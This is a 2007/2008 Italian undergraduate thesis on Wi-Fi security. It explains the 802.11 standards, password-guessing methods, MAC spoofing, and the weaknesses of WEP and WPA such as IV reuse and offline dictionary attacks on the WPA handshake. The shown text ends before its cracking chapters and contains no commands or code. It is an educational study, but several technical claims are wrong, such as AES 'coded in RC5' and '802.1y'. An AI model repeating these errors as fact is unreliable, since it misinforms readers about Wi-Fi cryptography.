Università degli Studi di Siena Facoltà di Ingegneria
Corso di Laurea in Ingegneria Informatica
Sicurezza delle reti Wi-Fi Il protocollo WPA
Relatore: Prof. Marco Maggini Correlatore: Sig. Carlo Bardi
Tesi di laurea di: Mirko Fornai
Anno accademico 2007/2008
a mio padre a mia madre
2
Indice Introduzione .......................................................................................................................4 Lo stato dell’arte ................................................................................................................5 Il protocollo IEEE 802.11..................................................................................................6 Breve storia dell’ 802.11........................................................................................6 Le password .......................................................................................................................8 Metodi di decodifica delle password Attacco a dizionario ...................................................................................9 Bruteforce ................................................................................................10 Livelli di sicurezza dello standard 802.11 Nessuna protezione ..............................................................................................12 Reti con limitazioni di accesso MAC address: ....................................................12 Protezione WEP ...................................................................................................12 Codifica WEP .......................................................................................... 13 Decodifica WEP....................................................................................... 14 Protezione WPA .................................................................................................. 15 Protezione WPA2 ................................................................................................ 16 Le problematiche di sicurezza Wep ...................................................................................................................... 18 WPA/WPA2 ........................................................................................................ 18 Cracking Introduzione con legge a riguardo .......................................................................20 Programmi Utilizzati ...........................................................................................20 Cracking WEP Attacco al WEP.................................................................................................... 22 Wesside-ng .......................................................................................................... 22 Cracking WPA.................................................................................................................23 Commenti ai risultati ...........................................................................................27 La soluzione del Consorzio .............................................................................................28 Conclusioni ...................................................................................................................... 29 Riferimenti .......................................................................................................................30
3
Introduzione In informatica, il termine wireless (dall'inglese “senza fili”) indica i sistemi di comunicazione tra dispositivi elettronici che non fanno uso di cavi. I sistemi tradizionali basati su connessioni cablate sono detti wired. Generalmente il wireless utilizza onde radio a bassa potenza, tuttavia la definizione si estende anche ai dispositivi, meno diffusi, che sfruttano la radiazione infrarossa o il laser. Le reti wireless stanno prendendo sempre più piede grazie al costo relativamente basso delle apparecchiature e della loro apparente facilità d’installazione, in particolare in tutte quelle situazioni (sopratutto vecchie costruzioni) in cui la cablatura è un processo pesante e costoso.
In ogni modo, le reti wireless sono vulnerabili ad attacchi e intrusioni maggiori rispetto a quelle via cavo. Il vantaggio di avere la rete in qualsiasi punto nel raggio di qualche decina di metri dall’apparecchio che trasmette è una problematica giacché può permettere a chiunque di utilizzare la propria rete wi-fi senza bisogno di nessuna autorizzazione. Sono nati perciò metodi di protezione che utilizzano password senza le quali non sia possibile utilizzare una rete che non risulti la propria. L’obiettivo di questa tesi è di analizzare i metodi di sicurezza più utilizzati valutandone l’efficacia provando a forzare le protezioni. Scopriremo che alcuni metodi di protezione utilizzati in ambito domestico non sono molto sicuri e potrebbero essere violati in poco tempo.
Fig.1 Logo Wi-Fi Alliance
4
Lo stato dell’arte Una rete Wireless può essere un'estensione di una normale rete cablata, supportando tramite un access point, la connessione a dispositivi mobili e fissi. In generale le architetture per sistemi Wireless sono basate due tipologie di dispositivi: ▪ Access Point (AP); ▪ Wireless Terminal (WT). Gli Access Point sono bridge che collegano la sottorete Wireless con quella cablata, mentre i Wireless Terminal sono dei dispostivi che usufruiscono dei servizi di rete. Gli AP possono essere implementati in hardware (esistono dei dispositivi dedicati) che in software appoggiandosi per esempio a un PC, o notebook dotato sia dell’interfaccia Wireless sia di una scheda ethernet.
Fig.2 Schema di una rete Wired-Wireless
I WT possono essere qualsiasi tipo di dispositivo come per esempio notebook, palmari, Pda, cellulari, o apparecchiature che interfacciano standard IEEE 802.11, o sistemi consumer su tecnologia Bluetooth.
Fig.3 Comparativa velocità di collegamenti
La trasmissione e ricezione Wireless (Tx / RX) opera tra i 2.4 GHz e i 2,5 GHz, con potenze di trasmissione dai 10-20 mW fino ai 100mW. La copertura di una cella radio varia da 20 metri a oltre 300 metri, in relazione alla tipologia degli ambienti, con una possibilità di collegamento da 10 a 250 utenze per AP, in funzione del modello e della tecnologia impiegata. 5
Il protocollo IEEE 802.11 IEEE 802.11 o Wi-Fi definisce uno standard per le reti WLAN sviluppato dal gruppo 11 dell'IEEE 802, in particolare in livello fisico e MAC del modello ISO/OSI, specificando sia l'interfaccia tra client e base station (o access point) sia tra client wireless. Questa famiglia include quattro protocolli dedicati alla trasmissione delle informazioni (a, b, g, n), la sicurezza è stata inclusa in uno standard a parte, 802.11i. Gli altri standard della famiglia (c, d, e, f, h, …) riguardano estensioni dei servizi base e miglioramenti di quelli già disponibili. Il primo protocollo largamente diffuso è stato il b; in seguito si sono diffusi il protocollo a e soprattutto il protocollo g. Ultimamente. Con l’uscita del mercato di AP ce lo supportano, molti utenti iniziano ad utilizzare l’n. L'802.11b e 802.11g utilizzano lo spettro di frequenze (banda ISM) nell'intorno dei 2,4 GHz. Si tratta di una banda di frequenze regolarmente assegnata dal piano di ripartizione nazionale (e internazionale) ad altro servizio, e lasciato di libero impiego solo per le applicazioni che prevedono potenze EIRP (Massima Potenza Equivalente Irradiata da antenna Isotropica) di non più di 20 dBm e utilizzate all'interno di una proprietà privata.
Breve storia dell’802.11 802.11 legacy - La prima versione dello standard 802.11 fu presentata nel 1997 ed è chiamata "802.1y", specificava velocità di trasferimento comprese tra 1 e 2 Mb/s e utilizzava i raggi infrarossi o le onde radio nella frequenza di 2,4 GHz per la trasmissione del segnale. La trasmissione a infrarosso venne eliminata dalle versioni successive dato lo scarso successo. La maggior parte dei costruttori, infatti, non aveva scelto lo standard IrDA, preferendo la trasmissione radio. Il supporto di questo standard per quanto riguarda la trasmissione via infrarossi è incluso nelle evoluzioni dello standard 802.11 per ragioni di compatibilità. Poco dopo questo standard furono realizzati da due produttori indipendenti delle evoluzioni dello standard 802.1y che una volta riunite e migliorate portarono alla definizione dello standard 802.11b. 802.11a - Nel 2001 fu ratificato il protocollo 802.11a approvato nel 1999. Questo standard utilizza lo spazio di frequenze nell'intorno dei 5 GHz e opera con una velocità massima di 54 Mb/s sebbene nella realtà la velocità reale disponibile all'utente sia di circa 20 Mb/s. La velocità massima può essere ridotta a 48, 36, 24, 18, 9 o 6 se le interferenze elettromagnetiche lo impongono. Lo standard definisce 12 canali non sovrapposti, 8 dedicati alle comunicazioni interne e 4 per le punto a punto. Quasi ogni stato ha emanato una direttiva diversa per regolare le frequenze ma dopo la conferenza mondiale per la radiocomunicazione del 2003 l'autorità federale americana ha deciso di rendere libere secondo i criteri già visti le frequenze utilizzate dallo standard 802.11a.
6
802.11b - Ha la capacità di trasmettere al massimo 11Mbit/s e utilizza il Carrier Sense Multiple Access con Collision Avoidance (CSMA/CA) come metodo di trasmissione delle informazioni. Una buona parte della banda disponibile è utilizzata dal CSMA/CA. In pratica il massimo trasferimento ottenibile è di 5,9 Mbit/s in TCP e di 7,1 Mbit/s in UDP. Metallo, acqua e in generale ostacoli solidi riducono drasticamente la portata del segnale. Il protocollo utilizza le frequenze nell'intorno dei 2,4 GHz.Utilizzando antenne direzionali esterne dotate di alto guadagno si è in grado di stabilire delle connessioni punto a punto del raggio di molti chilometri. Utilizzando ricevitori con guadagno di 80 decibel si può arrivare a 8 chilometri o se le condizioni del tempo sono favorevoli anche a distanze maggiori ma sono situazioni temporanee che non consentono una copertura affidabile. Quando il segnale è troppo disturbato o debole lo standard prevede di ridurre la velocità massima a 5,5, 2 o 1 Mb/s per consentire al segnale di essere decodificato correttamente. 802.11g - Questo standard fu ratificato nel giugno del 2003. Utilizza le stesse frequenze dello standard 802.11b cioè la banda di 2,4 GHz e fornisce una banda teorica di 54 Mb/s che nella realtà si traduce in una banda netta di 24,7 Mb/s, simile a quella dello standard 802.11a. È totalmente compatibile con lo standard b ma quando si trova a operare con periferiche b deve ovviamente ridurre la sua velocità a quella dello standard b. 802.11n - La velocità di trasferimento dei modelli 802.11n aumenta rispetto alla precedente versione 802.11g (da 54Mbps a 300Mbps) grazie alla tecnologia MI-MO (multiple-input, multiple-output) capace di trasmettere più dati alla volta. Ciò ha reso inevitabile progettare delle antenne intelligenti che uniscano i flussi di dati giungenti da punti diversi e da istanti diversi. Non c'è da stupirsi dunque, se troviamo due antenne riceventi e due trasmittenti; modelli più sofisticati dispongono addirittura di tre antenne per ciascun tipo di funzione. Oltre alla tecnologia MI-MO il Draft 2.0 utilizza il cosiddetto canne bonding (unione dei canali). La versione precedente 802.11g utilizza canali a 20MHz mentre l' 802.11n può usare canali a 40MHz raddoppiando teoricamente la velocità di connessione. La nota negativa del cannel bonding è che il router di nuova generazione usufruisce interamente della banda a 2,4GHz, non lasciando così spazio a router vicini. Per la politica di "buon vicinato" Draft 2.0 stabilisce che in questo caso anche i router 802.11n scendano in modalità 20MHz se sentano reti Wi-FI o modelli 2,4 GHz nelle vicinanze. In modalità 20MHz la velocità massima scende purtroppo a 150Mbps. Per evitare interferenze di questo genere occorre puntare ad ampiezza di banda maggiore. La frequenza a 5GHz consente a due router vicini di nuova generazione, di sfruttare meglio il canne bonding anche se la velocità rispetto al caso precedente non è raddoppiata, bensì incrementata del 20%. Un altro aspetto positivo dei modelli 802.11n dual band a 4 GHz è che sono capaci di lavorare in modalità mista a 2,4GHz per le macchine più vecchie e a 5GHz per i modelli di nuova generazione.
7
Standard
Multiplazione
Frequenza
Bitrate max
802.11 leg. FHSS, DSSS, IrDA
2,4 GHz, IR
2Mbit/s
802.11a
OFDM
5,2, 5,8 GHz 54Mbit/s
802.11b
DSSS, HR-DSSS
2.4 GHz
11Mbit/s
802.11g
OFDM
2,4 GHz
54Mbit/s
802.11n
DSSS, HR-DSSS, OFDM 2,4/5GHz
300 Mbit/s
Tab. 1 tabella riassuntiva dei vari standard
Le password Una password è una forma di autenticazione segreta usata per controllare l’accesso a una risorsa. A dispetto del nome, la password non deve essere necessariamente una parola anzi, è preferibile che non lo sia, poiché sarebbe più difficile indovinarla da parte di malintenzionati. Le tipologie di password posso suddividersi in vari gruppi in base alla difficoltà con cui è possibile attraverso specifici programmi, risalire alle stesse.
Parole comuni o numeri(letto, gatto, simone, 0000, 070182…) Appartengono a questa famiglia tutti i termini tratti da un dizionario che di solito è lo stesso della lingua parlata dall’utente. Possono inoltre essere dei semplici codici come la data di nascita delle bervi serie di numeri.
Parole l’aggiunta di numeri (78marco, 33rose, lollon82…) Sono utilizzati dei numeri prima o dopo una parola di senso compiuto, molto spesso è utilizzata la data di nascita unita al nome del proprietario della password.
Parole doppie (pippopippo, lacasarossa…) Viene o ripetuta la parola scelta o viene creata una mini frase tutta attaccata
Parole con offuscamento ($a$$o, f1l1pp0, @b@c0….) Si utilizzano dei caratteri speciali al posto degli standard oppure sono inseriti volontariamente degli errori di ortografia. Ad esempio il $ può sostituire la lettera S, 8
oppure il 3 la E. Sono più sicure rispetto ai metodi sopra citati, perche non consentono attacchi tramite dizionario
Casualità contorta (&d$3r5t£, Re#ù%d8m….) Viene creata una stringa di caratteri casuali contenente numeri, lettere maiuscole, minuscole e caratteri speciali. Sono le password più complesse, per violarle può essere necessario molto tempo.
Metodi di decodifica delle password Attacco a dizionario Nella crittoanalisi e nella sicurezza informatica, un attacco a dizionario è una tecnica per "rompere" un codice cifrato o un meccanismo di autenticazione provando a decifrare il codice o a determinare la passphrase cercando tra un gran numero di possibilità. In pratica si tenta di accedere a dati protetti da password (sia remoti, come ad esempio accounts su siti web o server di posta; sia locali, come documenti o archivi protetti da password) tramite una serie continuata e sistematica ripetizione dei tentativi d’inserimento della password, solitamente effettuati in modo automatizzato, basandosi su uno o più dizionari. In contrasto con un metodo forza bruta (o attacco bruteforce), dove tutte le possibili password sono ricercate in maniera esaustiva, un attacco a dizionario prova solamente le possibili password più probabili. Si può usare una lista di parole probabili (detta dizionario). Generalmente questi attacchi hanno successo perché la maggior parte delle persone ha la tendenza a scegliere password semplici da ricordare (e quindi semplici da scoprire, ad esempio il proprio nome, quello dei propri figli, date di nascita) e tipicamente sceglie parole prese dalla propria lingua nativa. I dizionari, che sono normalmente semplici file composti da sequenze di parole divise da caratteri separatori, possono riferirsi a contenuti standard (dizionario Inglese, Italiano, dizionario dei Nomi, ecc...) oppure essere creati a seconda del contesto di utilizzo. Nella sicurezza informatica, può essere sferrato un attacco a dizionario per cercare di aggirare un meccanismo di autenticazione per l'accesso ad un sistema informatico, che richiede una password. L'efficacia di un attacco a dizionario può essere notevolmente ridotta limitando il numero di tentativi di autenticazione che possono essere effettuati ogni minuto, e bloccando anche i tentativi che superano una certa soglia di esiti negativi. Generalmente, 3 tentativi sono considerati sufficienti per permettere a un utente legittimo di correggere i propri errori di battitura e accedere correttamente al sistema. Superata questa soglia, per sicurezza è meglio assumere che l'utente sia malintenzionato.
9
Efficacia ed efficienza degli attacchi a dizionario Poiché di solito gli utenti scelgono password facilmente indovinabili, questo attacco ha successo in media 4 volte su 10 quando si utilizza una lista di parole ragionevolmente grande. I dizionari per la maggior parte delle lingue sono facilmente accessibili su Internet, quindi l'uso di parole straniere è in pratica inutile per contrastare attacchi di dizionario. Esempi di utilizzo degli attacchi a dizionario Un esempio di attacco a dizionario si ritrova nella Seconda Guerra Mondiale, quando dei code breaker inglesi che lavoravano su messaggi tedeschi cifrati con la macchina Enigma utilizzarono la parola tedesca “eins” come parte dell'attacco; “eins”, ovvero in numero uno in tedesco, apparve nel 90% di tutti i testi cifrati, poiché la tastiera di Enigma non aveva numeri. Oggi gli spammer spesso usano una forma di attacco a dizionario, a volte conosciuto come Directory Harvest Attack, per fare harvesting dell'indirizzo e-mail. Per esempio, uno spam potrebbe provare a mandare messaggi a
[email protected],
[email protected],
[email protected], etc. Gli indirizzi autentici, ai quali i messaggi saranno consegnati invece di essere rispediti indietro al mittente con errore (errore di Message Delivery Notification) possono essere aggiunti alla lista dello spammer come indirizzo valido.
Bruteforce Il metodo "forza bruta" è un algoritmo di risoluzione di un problema che consiste nel verificare tutte le soluzioni teoricamente possibili fino a che si trova quella effettivamente corretta. Il metodo è anche noto come ricerca esaustiva della soluzione. Il suo principale fattore positivo è che porta sempre a trovare la soluzione corretta, ma è anche vero che è sempre la soluzione più lenta o dispendiosa; è utilizzato quindi come ultima risorsa utilizzabile. Quando sul sistema è possibile un attacco offline (ovvero quando l'attacco si può eseguire su una copia di lavoro locale del sistema da attaccare) si può barattare la velocità di esecuzione con la quantità di risorse necessarie: laddove un singolo computer possa "provare" 100.000 chiavi al secondo, due computer possono provarne il doppio e così via (la velocità aumenta linearmente con le risorse utilizzate); questa caratteristica ha nei recenti anni motivato molti attacchi "distribuiti" sfruttando solo i cicli inutilizzati di migliaia e migliaia di comuni computer. Questo ovviamente non è applicabile a sistemi informatici dove sia possibile esclusivamente un attacco online né a sistemi che utilizzino protezioni fisiche quali lucchetti metallici: non è ovviamente possibile sveltirne l'apertura provando due o più chiavi alla volta. 10
Utilizzo in crittoanalisi In ambito crittoanalitico questo metodo si utilizza in genere per trovare la chiave di un sistema che utilizza un cifrario di cui non si conosca alcun attacco migliore. Questo fu ad esempio il metodo utilizzato dal controspionaggio polacco e poi inglese per decifrare i messaggi tedeschi della macchina Enigma, ideata da Arthur Scherbius. Per ottenere il risultato, infatti, utilizzarono la famosa Bomba ideata da Marian Rejewski, una speciale macchina calcolatrice in grado di sottoporre il messaggio cifrato a un attacco di forza bruta, fino a trovare la soluzione. La macchina fu poi perfezionata dagli inglesi, grazie al contributo del grande matematico Alan Turing. Questi primi rudimentali e mastodontici calcolatori erano lentissimi, se paragonati agli attuali computer, e potevano impiegare interi mesi per decifrare un breve messaggio. In tempi più recenti, per supplire alla sempre maggiore velocità dei computer disponibili in commercio, divenne necessario utilizzare chiavi di sempre maggiore dimensione. Questa crescita delle dimensioni della chiave è sostenibile, poiché mentre lo spazio delle chiavi (e quindi il tempo necessario per un attacco forza bruta) aumenta esponenzialmente con la lunghezza delle chiavi (come O(2n), per la precisione) il tempo di cifratura e decifrazione in genere ha poca dipendenza con la lunghezza della chiave (per fare un esempio AES utilizzando chiavi di 256 bit è più veloce del Data Encryption Standard (DES), che può utilizzare solamente chiavi da 56 bit). Un esempio pratico di attacco di forza bruta è tentare di aprire una valigetta con combinazione provando tutte le possibili serie delle tre ruote numerate. Per aumentare la protezione della valigetta da questo tipo di attacchi è necessario aumentare il numero di ruote numerate; siccome il numero di combinazioni in questo caso cresce secondo le potenze di dieci, con una ruota in più le possibili combinazioni passano da 1000 a 10.000.
Confronto fra i due metodi Il metodo di attacco basato su dizionario viene utilizzato spesso nei tentativi di cracking delle password giacché gli utenti, soprattutto se poco esperti d’informatica, tendono a prediligere parole chiave semplici da ricordare a mente, e quindi appartenenti al linguaggio comune, piuttosto che sequenze alfanumeriche casuali. Il vantaggio di usare un dizionario rispetto a un normale attacco col metodo a forza bruta è dato dal fatto che il test delle password, anche se eseguito in modo automatizzato (tramite software appositi) e da calcolatori molto potenti, è comunque un processo che richiede un’enorme quantità di tempo, che aumenta in maniera esponenziale all'aumentare della lunghezza della password stessa.
11
Livelli di sicurezza dello standard 802.11 Nessuna Protezione Questa tipologia di rete non è protetta e qualsiasi malintenzionato potrebbe accedervi. Sfortunatamente molti utenti quando installano una rete wi-fi domestica, non prestano attenzione alla configurazione dell’access point che di default non prevede l’utilizzo di una chiave. La rete che creano quindi potrà essere utilizzata da chiunque si trovi nelle vicinanze della loro abitazione senza che questi violino la legge.
Reti con limitazioni di accesso MAC address: Questo tipo di rete è difficile da violare poiché sfrutta una lista in cui sono presenti tutti gli indirizzi MAC di ognuna scheda di rete che sono abilitati all'accesso. Comunemente le impostazioni dei MAC abilitati/disabilitati sono all'interno del software che gestisce l'apparecchio. Questa soluzione però è poco flessibile per nuovi client che si dovranno connettere alla rete perché la lista deve essere gestita manualmente da un amministratore di rete. Un possibile metodo di hacking a cui possono essere soggette è lo spoofing del MAC. Lo spoofing è una tecnica che consiste nel far credere all’AP di essere una delle macchine con MAC address abilitato all'accesso. Il MAC address è stampato e salvato nel chipset della scheda di rete dalla casa costruttrice ma quest'ultimo può essere “virtualizzato” a piacimento con diversi software e assumere il valore desiderato. Con questa tecnica l'AP è convinto di far accedere un client già conosciuto al quale è abilitata l'entrata nella rete.
Protezione WEP Il WEP (ovvero Wired Equivalent Privacy) rappresenta il primo sistema standardizzato (IEEE 802.11) per la protezione delle reti wi-fi. Poiché deve garantire un'elevata velocità di cifratura/decifratura, esso si basa sul cifrario a flusso RC4, ereditandone inevitabilmente i punti deboli. In realtà ad essere vulnerabile non è l'RC4 in quanto tale, ma la sua implementazione nell'ambito del WEP. Sostanzialmente la cifratura WEP fa in modo che il testo in chiaro venga "xorato" byte per byte con il keystream (il quale, in teoria, funge da one time pad). Se però la chiave in ingresso allo pseudo random byte generator è sempre la stessa, verrà prodotto in output sempre lo stesso keystream e di conseguenza si arriverà sempre alla stessa cifratura. E' 12
quindi necessario usare, oltre alla chiave, un vettore d’inizializzazione (IV) da 24 bit, da dare in pasto al generatore di byte pseudo casuali, ovviamente insieme alla chiave stessa. In definitiva, nel caso di WEP-128, avrò una chiave da 104 bit + i 24 bit dell'IV.
PASSPHRASE
IV
CHIAVE INTERMEDIA
INSERITA DA
UTENTE
AP
UTENTE + AP
DIMENSIONI
40 o 104 bit
24 bit
64 o 128 bit
Fig.5 Formazione della chiave intermedia
Codifica WEP 1. L'utente immette la chiave segreta che viene concatenata all'IV spedito in chiaro dall'AP 2. Ne risulta una stringa, usata come seme per uno Pseudo Random Number Generator (basato su RC4) 3. Parallelamente sul testo in chiaro si esegue un test di integrità dei dati, ottenendo un ICV (Integrity Check Value) che sarà concatenato al messaggio 4. Alle due stringhe di pari lunghezza cosi ottenute (chiave e testo del messaggio) è applicato lo XOR ottenendo il testo cifrato.
Fig.6 Codifica WEP
13
Decodifica WEP 1. Partendo dall'IV ricevuto, si aggiunge alla chiave segreta in possesso, ottenendo il seme da dare in pasto al PNRG. 2. Si esegue lo XOR tra il keystream e il testo cifrato. 3. Viene controllata l'integrità del pacchetto con CRC-32. 4. Raffrontando ICV' appena calcolato con ICV che ci è stato mandato insieme al pacchetto originale, è controllata la giusta ricezione del pacchetto, si richiede che il pacchetto sia rispedito.
Fig.7 Decodifica WEP
14
Protezione WPA Rispetto al WEP, il WPA introduce una migliore crittografia dei dati poiché per cifrare i dati utilizza RC4 con una chiave a 128 bit e un vettore di inizializzazione a 48 bit, insieme al Temporary Key Integrity Protocol (TKIP) che permette di cambiare dopo un certo numero di messaggi scambiati le chiavi di crittografia utilizzate. Nel WPA è stato anche migliorato il Cyclic Redundacy Check che nel WEP era insicuro, infatti, era possibile alterare il messaggio e aggiornare il CRC pur non conoscendo la chiave. Al posto del CRC è stato introdotto un più sicuro codice di autenticazione dei messaggi il Message Integrity Code (MIC, la cui implementazione in WPA prende il nome di Michael) che include anche un contatore di frame con l'obiettivo di prevenire i replay attack. Infine è stato aggiunto un meccanismo di mutua autenticazione, funzione quest'ultima assente nel WEP. 64Bit Key
String
MAC Addres
Fig.8 Schema del TKIP
MIC Destinatary Address
Message
Message L'autenticazione in WPA è basata su EAP (Extensible Authentication Protocol) un protocollo generico di autenticazione tra client e server che supporta numerosi metodi con password, certificati digitali o altri tipi di credenziali. Attualmente esistono circa 40 metodi implementati per utilizzare il supporto EAP. Il WPA supporta due metodi di accesso: Personal ed Enterprise. Il modo personal chiamato anche preshared key mode è appropriato per piccoli uffici o case che non hanno già infrastrutture di autenticazione esistenti. Una password settata manualmente viene inserita nell' access point e condivisa da tutti i client. La password può essere lunga da 8 a 64 caratteri, in generale 256 bit. Le tipologia più conosciute di WPA Enterprise/WPA2 Enterprise sono le seguenti. ⇒ EAP-TLS:(Transport Layer Security)Utilizzo di un certificato che all'interno contiene identità e la chiave pubblica codificata. Ogni client ha il suo certificato che deve essere generato dal lato server il quale inserisce una particolare firma digitale. Possibile autenticazione con l'utilizzo di smart-card. ⇒ EAP-TTLS: (Tunnelled Transport Layer Security) Doppia autentificazione ossia 15
Client-Server e Server-Client tramite un canale privato criptato chiamato tunnel(PAP, CHAP, MS-CHAP, o MS- CHAPv2).Una volta effettuata l'autenticazione il tunnel si chiude. ⇒ EAP-SIM e EAP-AKA :Protocolli per autenticare telefoni sulla rete GSM. SIM vulnerabile allo spoofing. ⇒ EAP-LEAP (metodo di autenticazione sviluppato dalla Cisco System particolarmente indicato per WEP dinamiche, RADIUS e frequenti riautenticazioni. Sia client che server devono essere abilitati alla negoziazione con altri dispositivi. ⇒ RADIUS (Remote AuthenticationDial in User Service) Il WPA Enterprise che usa un server RADIUS (Remote AuthenticationDial-InUser Service) per l'autenticazione e un protocollo EAP per gestire lo scambio di dati di autenticazione tra il server e il client. Quando si utilizza un server per l'autenticazione, il punto di accesso senza fili impedisce l'inoltro del traffico dei dati a una rete cablata o ad un client senza fili che non dispone di una chiave valida. Per ottenerne una, il client deve seguire questo procedimento: 1. Quando un client senza fili entra nel raggio di azione di un punto di accesso senza fili, il punto di accesso senza fili richiede la verifica del client 2. Il client wireless si identifica e dall' access point le informazioni vengono inviate al server RADIUS 3. Il server RADIUS verifica le credenziali del client. Se le credenziali sono valide, il server invia una chiave di autenticazione crittografata all' access point. 4. L'access point utilizza la chiave per trasmettere in modo protetto le chiavi di crittografia unicast e muticast. Four way handshake Durante l’autenticazione viene utilizzato un metodo chiamato “four way handshake” che tradotto diventa stretta di mano a quattro vie. E’ un elemento molto importante e parte da due considerazioni: l'access point (AP) deve autenticarsi e la chiave di sessione utilizzata per cifrare i messaggi deve ancora essere calcolata. In primo luogo viene stabilita, tra la stazione wireless (STA) e l'AP, una chiave chiamata Pairwise Master Key (PMK). Questa chiave è generata tipicamente durante il procedimento di autenticazione dell’utente verso un server RADIUS (o di altro tipo) sfruttando l’EAP. Sia il client che il server RADIUS ottengono chiavi identiche, e il secondo restituisce la chiave all’AP. A questo punto STA e AP si scambiano una sequenza di quattro messaggi, nell’ambito dello schema “four way handshake”. Per prima cosa EAP trasmette all'access point una 16
chiave temporanea PTK (Pairwise Transient Key). LA PTK è generata concatenando PMK, una nonce dell'AP, una nonce di STA ed infine l'indirizzo MAC di STA e dell'AP. Il prodotto di questa concatenazione viene inviato ad una funzione crittografica di hash. La PTK è a sua volta suddivisa in più chiavi: una per firmare i messaggi "four way handshake"; una per rendere sicuri i pacchetti dati trasmessi tra STA e AP; una per cifrare presso la stazione, e durante la fase di four way handshake, la "group key". Quest’ultima consente all’AP di trasmettere un pacchetto multicast a tutte le stazioni, piuttosto che inviare un pacchetto separato e cifrato a ciascuna di esse. Inoltre nel corso della fase di four way handshake, la stazione e l’access point si scambiano i dati riguardanti il tipo di cifratura che deve essere impiegato per la connessione. Vengono quindi negoziati due algoritmi di cifratura: il "pairwise", utilizzato per la trasmissione unicast dei dati tra la stazione e l’access point; e il "group", per la trasmissione broadcast/multicast del traffico dall’access point a più stazioni.
Fig.9 Evoluzione temporale del Four way handshake
Protezione WPA2 Come sviluppo successivo al WPA abbiamo il WPA2: una implementazione dello standard 802.11i che include il supporto dei protocolli AES e CCMP. WPA2 implementa gli elementi opzionali dello standard 802.11i e lentamente si sta passando dal WPA al WPA2. AES (Advanced Encryption Standard) è uno standard di criptazione innovativo introdotto con l'avvento delWPA2 ed è arrivato a sostituire il vecchio standard TKIP. L'innovazione più eloquente rispetto al TKIP è che l'AES è un algoritmo di cifratura a blocchi codificato in RC5 difficilmente violabile tramite forza bruta. Il CCMP, acronimo di “Counter Mode Mac Protocol”, è l'algoritmo di cifratura utilizzato dallo standard IEEE 802.11i. Nel 802.11i(WPA2) al contrario che nel WPA1, la gestione delle chiavi e l'integrità dei messaggi vengono affidate a un singolo componente CCMP, basato su AES. OPEN
MAC
WEP
TKIP
WPA
Insicuro
WPA2 Sicuro
Fig. 10 Confronto sulla sicurezza delle tipologie 17
Problematiche di sicurezza WEP Il protocollo WEP non essendo stato creato da esperti di sicurezza né da crittografi, si è rilevato subito vulnerabile. Soprattutto si sono evidenziati problemi relativi all'algoritmo RC4. Il primo riguardala modalità di scelta dell’IV, la quale non è specificata dal protocollo. Inoltre l’IV, non è altro che un contatore a 24 bit. E’ possibile generare al massimo 2^24 valori e la probabilità di trovare due che collidono è di 2^12. Un altro svantaggio è che gli IV aventi valori più bassi sono quelli più probabili (per via di eventuali reset della scheda) oltre a tutto l’IV viene concatenato alla chiave privata ed è sempre trasmesso in chiaro. Un attacco potrebbe individuare la chiave attraverso l’analisi di numerosi pacchetti. La seconda debolezza deriva dal CRC-32: il checksum CRC non è stato progettato per un controllo di integrità su eventuali attacchi, ma solo per identificare eventuali errori di trasmissione del messaggio. Quindi, se un malintenzionato è a conoscenza di una stringa cifrata e della corrispondente in chiaro, mediante banali operazioni di XOR(⊕)può arrivare a conoscere il keystream ed utilizzarlo per creare un nuovo messaggio. Ovviamente bisognerebbe riutilizzare sempre lo stesso IV ma dato che il WEP non regola questa scelta non avrei problemi a farlo. Pur esistendo questi problemi, le chiavi WEP vengono ancor oggi utilizzare per vari motivi: al momento della progettazione della rete (giugno 2003) le schede wireless e i sistemi operativi più diffusi supportavano solo WEP; inoltre l’uso di WPA comporta aggiornamenti software e firmware (Windows XP SP2 per esempio) che alcuni utenti non hanno ancora effettuato.
WPA/WPA2 Quando WPA lavora in modalità personal viene utilizzata da tutti i client una chiave unica, la Pre-Shared Key (PSK). Si può però avere che ogni stazione abbia la propria chiave generata a partire dalla PSK e legata all' indirizzo MAC della scheda di rete della computer stesso, oppure la chiave è la PSK è proprio l’indirizzo MAC. La PSK è una chiave a 256 bit o una password da 8 a 64 caratteri. Accade che se la PSK utilizzata è a 256 bit, questa viene utilizzata direttamente come PMK, altrimenti se è di lunghezza minore la PMK viene derivata attraverso una funzione hash che prende in input la password, il nome della rete wireless, la lunghezza dello stesso e restituisce un hash di 256 bit. La PTK invece è generata partendo dalla PMK utilizzando i due indirizzi MAC e le due nonces che vengono scambiate nei primi due pacchetti durante il processo di 18
four way handshake e serve inoltre sia per firmare i messaggi durante questo processo, che per generare le chiavi successive del TKIP. La forza di PTK risiede solo nel valore PMK che per la PSK significa la passphrase. Come indicato da Robert Moskowitz, il secondo messaggio della Handshake a 4 vie potrebbe essere soggetto sia al dictionary attack sia alla brute force offline. L’algoritmo Cowpatty fu creato per sfruttare questo difetto, e il suo codice sorgente era stato usato e migliorato da Christophe Devine in Aircrack per consentire il gli attacchi di tipo dictionary su PSK e di brute force su WPA. Quindi conoscendo la PSK è possibile ricavare la PTK e tutta la gerarchia delle chiavi. Un utente che già conosce la PSK, può calcolare la chiave utilizzata da tutte le altre stazioni wireless presenti semplicemente “sniffando” i pacchetti del four way handshake che contengono le nonces. Quindi anche se le chiavi sono diverse per ogni stazione, all'interno della rete non c'è nulla di privato. L'altra grande debolezza di WPA è la possibilità di un Denial of Service (DoS) durante la Handshake a 4 vie. Changhua He e John C. Mitchell hanno notato che il primo messaggio della Handshake a 4 vie non è autenticato e ogni client deve memorizzare ogni primo messaggio fino a quando non riceve un terzo messaggio valido (firmato), lasciando il client vulnerabile all'esaurimento della memoria. Falsando il primo messaggio inviato dal punto di accesso, un aggressore può eseguire un DoS sul client se è possibile per diverse sessioni simultanee di esistere. Il “Michael Message Integrity Code” noto anche come debolezza che risulta dalla sua struttura (forzato dal task group di 802.11i). La sicurezza Michael si basa su una comunicazione cifrata. Anche se le MIC crittografiche sono di solito pianificate per resistere a attacchi in testo semplice noti (dove l'aggressore ha un messaggio in chiaro e il proprio MIC), Micheal è vulnerabile a tali attacchi perché è invertibile. Dato un unico messaggio noto e il suo valore MIC, è possibile scoprire la chiave segreta MIC, quindi mantenendo il valore MIC segreto è cruciale. L'ultima debolezza nota è un attacco teoretico contro la Temporal Key Hash di WPA, che comprende una complessità ridotta dell'attacco (da ∂128 a ∂105) in alcune circostanze (conoscenza di diverse chiavi RC4). WPA/WPA2 sono anche soggette a vulnerabilità che colpiscono altri meccanismi 802.11i come gli attacchi con l'alterazione del messaggio 802.1X (EAPoL Logoff, EAPoL Start, EAP Failure ecc.), descritto per la prima volta da William A. Arbaugh e Arunesh Mishra dovuto alla mancanza di autenticazione. Infine, è importante notare che usare il protocollo WPA/ WPA2 non fornisce nessuna protezione contro le 